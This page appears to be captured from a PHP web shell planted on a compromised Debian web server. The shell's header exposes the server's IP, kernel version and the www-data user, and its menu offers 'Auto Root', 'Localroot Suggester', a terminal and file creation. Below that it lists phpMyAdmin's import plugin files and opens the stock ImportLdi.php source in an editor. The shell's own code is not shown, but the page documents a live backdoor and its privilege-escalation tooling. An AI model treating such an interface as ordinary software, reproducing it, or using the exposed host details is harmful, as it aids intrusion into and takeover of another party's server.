Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
phpmyadmin /
libraries /
plugins /
import /
Delete
Unzip
Name
Size
Permission
Date
Action
upload
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
AbstractImportCsv.php
2.95
KB
-rw-r--r--
2017-01-23 20:20
ImportCsv.php
26.41
KB
-rw-r--r--
2017-01-23 20:20
ImportLdi.php
5.02
KB
-rw-r--r--
2017-01-23 20:20
ImportMediawiki.php
21
KB
-rw-r--r--
2017-01-23 20:20
ImportOds.php
13.67
KB
-rw-r--r--
2017-01-23 20:20
ImportShp.php
10.46
KB
-rw-r--r--
2017-01-23 20:20
ImportSql.php
6.01
KB
-rw-r--r--
2017-01-23 20:20
ImportXml.php
10.64
KB
-rw-r--r--
2017-01-23 20:20
README
4.52
KB
-rw-r--r--
2017-01-23 20:20
ShapeFile.php
2.84
KB
-rw-r--r--
2017-01-23 20:20
ShapeRecord.php
4.67
KB
-rw-r--r--
2017-01-23 20:20
Save
Rename
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * CSV import plugin for phpMyAdmin using LOAD DATA * * @package PhpMyAdmin-Import * @subpackage LDI */ namespace PMA\libraries\plugins\import; use PMA\libraries\properties\options\items\BoolPropertyItem; use PMA; use PMA\libraries\plugins\import\AbstractImportCsv; use PMA\libraries\properties\options\items\TextPropertyItem; if (!defined('PHPMYADMIN')) { exit; } // We need relations enabled and we work only on database if ($GLOBALS['plugin_param'] !== 'table') { $GLOBALS['skip_import'] = true; return; } /** * Handles the import for the CSV format using load data * * @package PhpMyAdmin-Import * @subpackage LDI */ class ImportLdi extends AbstractImportCsv { /** * Constructor */ public function __construct() { $this->setProperties(); } /** * Sets the import plugin properties. * Called in the constructor. * * @return void */ protected function setProperties() { if ($GLOBALS['cfg']['Import']['ldi_local_option'] == 'auto') { $GLOBALS['cfg']['Import']['ldi_local_option'] = false; $result = $GLOBALS['dbi']->tryQuery( 'SELECT @@local_infile;' ); if ($result != false && $GLOBALS['dbi']->numRows($result) > 0) { $tmp = $GLOBALS['dbi']->fetchRow($result); if ($tmp[0] == 'ON') { $GLOBALS['cfg']['Import']['ldi_local_option'] = true; } } $GLOBALS['dbi']->freeResult($result); unset($result); } $generalOptions = parent::setProperties(); $this->properties->setText('CSV using LOAD DATA'); $this->properties->setExtension('ldi'); $leaf = new TextPropertyItem( "columns", __('Column names: ') ); $generalOptions->addProperty($leaf); $leaf = new BoolPropertyItem( "ignore", __('Do not abort on INSERT error') ); $generalOptions->addProperty($leaf); $leaf = new BoolPropertyItem( "local_option", __('Use LOCAL keyword') ); $generalOptions->addProperty($leaf); } /** * Handles the whole import logic * * @param array &$sql_data 2-element array with sql data * * @return void */ public function doImport(&$sql_data = array()) { global $finished, $import_file, $compression, $charset_conversion, $table; global $ldi_local_option, $ldi_replace, $ldi_ignore, $ldi_terminated, $ldi_enclosed, $ldi_escaped, $ldi_new_line, $skip_queries, $ldi_columns; if ($import_file == 'none' || $compression != 'none' || $charset_conversion ) { // We handle only some kind of data! $GLOBALS['message'] = PMA\libraries\Message::error( __('This plugin does not support compressed imports!') ); $GLOBALS['error'] = true; return; } $sql = 'LOAD DATA'; if (isset($ldi_local_option)) { $sql .= ' LOCAL'; } $sql .= ' INFILE \'' . $GLOBALS['dbi']->escapeString($import_file) . '\''; if (isset($ldi_replace)) { $sql .= ' REPLACE'; } elseif (isset($ldi_ignore)) { $sql .= ' IGNORE'; } $sql .= ' INTO TABLE ' . PMA\libraries\Util::backquote($table); if (strlen($ldi_terminated) > 0) { $sql .= ' FIELDS TERMINATED BY \'' . $ldi_terminated . '\''; } if (strlen($ldi_enclosed) > 0) { $sql .= ' ENCLOSED BY \'' . $GLOBALS['dbi']->escapeString($ldi_enclosed) . '\''; } if (strlen($ldi_escaped) > 0) { $sql .= ' ESCAPED BY \'' . $GLOBALS['dbi']->escapeString($ldi_escaped) . '\''; } if (strlen($ldi_new_line) > 0) { if ($ldi_new_line == 'auto') { $ldi_new_line = (PMA\libraries\Util::whichCrlf() == "\n") ? '\n' : '\r\n'; } $sql .= ' LINES TERMINATED BY \'' . $ldi_new_line . '\''; } if ($skip_queries > 0) { $sql .= ' IGNORE ' . $skip_queries . ' LINES'; $skip_queries = 0; } if (strlen($ldi_columns) > 0) { $sql .= ' ('; $tmp = preg_split('/,( ?)/', $ldi_columns); $cnt_tmp = count($tmp); for ($i = 0; $i < $cnt_tmp; $i++) { if ($i > 0) { $sql .= ', '; } /* Trim also `, if user already included backquoted fields */ $sql .= PMA\libraries\Util::backquote( trim($tmp[$i], " \t\r\n\0\x0B`") ); } // end for $sql .= ')'; } PMA_importRunQuery($sql, $sql, $sql_data); PMA_importRunQuery('', '', $sql_data); $finished = true; } }